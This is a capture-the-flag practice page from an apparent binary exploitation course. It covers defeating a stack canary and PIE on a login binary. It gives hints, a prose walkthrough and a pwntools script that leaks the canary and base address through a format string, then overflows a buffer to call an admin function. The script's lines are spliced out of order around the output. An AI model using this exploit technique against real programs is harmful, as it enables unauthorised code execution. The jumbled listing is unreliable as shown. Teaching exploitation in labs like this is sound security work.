Table of Contents

IronForgeCyber

Courses

Resources

Blog

Log In



IronForgeCyber

AboutPrivacyTerms

© 2026 IronForgeCyber. All rights reserved.

  1. courses
  2. binex-stack-exploits
  3. pie-practice-01
3 min read

Practice 1

Give this challenge a try! This challenge provides good practice in determining what security measures are in place, identifying vulnerabilities, etc. Try to independently write this exploit from start to finish. If you need help, a shallow solution will be available below.

Stuck? Open one hint at a time before reading the solution.

Hint 1
Run checksec. With a canary and PIE, you'll need to leak two values before you can overflow.
Hint 2
There are two inputs. One reaches printf as the format string; the other overflows.
Hint 3
Leak the canary and a code address in one go with %N$p. A code address minus its offset gives the PIE base, and from there the address of admin.
Hint 4
Payload: padding to the canary, the canary, padding to the return address, then admin. Crashing? Align the stack with a ret first.

Quick Solution

checksec shows a canary and PIE are enabled. It appears to be a simple login system.

Both inputs use scanf, which doesn't check size. The scanf regex string is %s[^\n], which scans for a string with a newline at the end. Then, it ignores the newline and stores the string in the buffer.

The first input is subject to the format string vulnerability. The second input will be used for the buffer overflow. Based on the second input, the padding is 0x38 bytes to the canary (rbp-0x8) and the canary is 0x8 bytes from the return pointer (rbp+0x8).

Doing some quick math, we get that the canary's format offset is 15 and the PIE leak is 19. This makes the format string %15$p|%19$p.

From here, we need to receive the leak and parse it for each value.

Then, write a standard canary payload with the canary's padding, the canary, the padding to the return, and then return to admin. The admin function loads flag.txt into memory and prints it.

An Alternative Solution
You might be able to use jumping to preemptively read the flag's contents. Check out Simple Jumping to see how that works!

Here is the exploit I used to accomplish this:

exploit.py
1from pwn import *
2
3elf = context.binary = ELF("./chall")
4p =

This gives us the flag:

exploit.py
$ python3 exploit.py[+] Starting local process './chall': pid 39224[+] BASE:0x55a39d780000Hello Manager, here is your key: IFC{PL4C3H0LD3R_FL4G_H3R3!}
Exploit Not Working?
You might need to align the stack. Here is a ret gadget:
python
payload += p64(elf.sym['_init'] + 22)
process
(
)
5
6p.recvuntil(b"Username: ")
7p.sendline(b"%15$p|%19$p")
8leak = p.recvuntil(b", Password", drop=True).decode().strip().split("|")
9
10elf.address = int(leak[1], 16) - elf.sym.main
11log.success("BASE:" + hex(elf.address))
12
13payload = b"A" * 0x38
14payload += p64(int(leak[0], 16))
15payload += b"B" * 8
16payload += p64(elf.sym.admin)
17
18p.sendline(payload)
19p.interactive()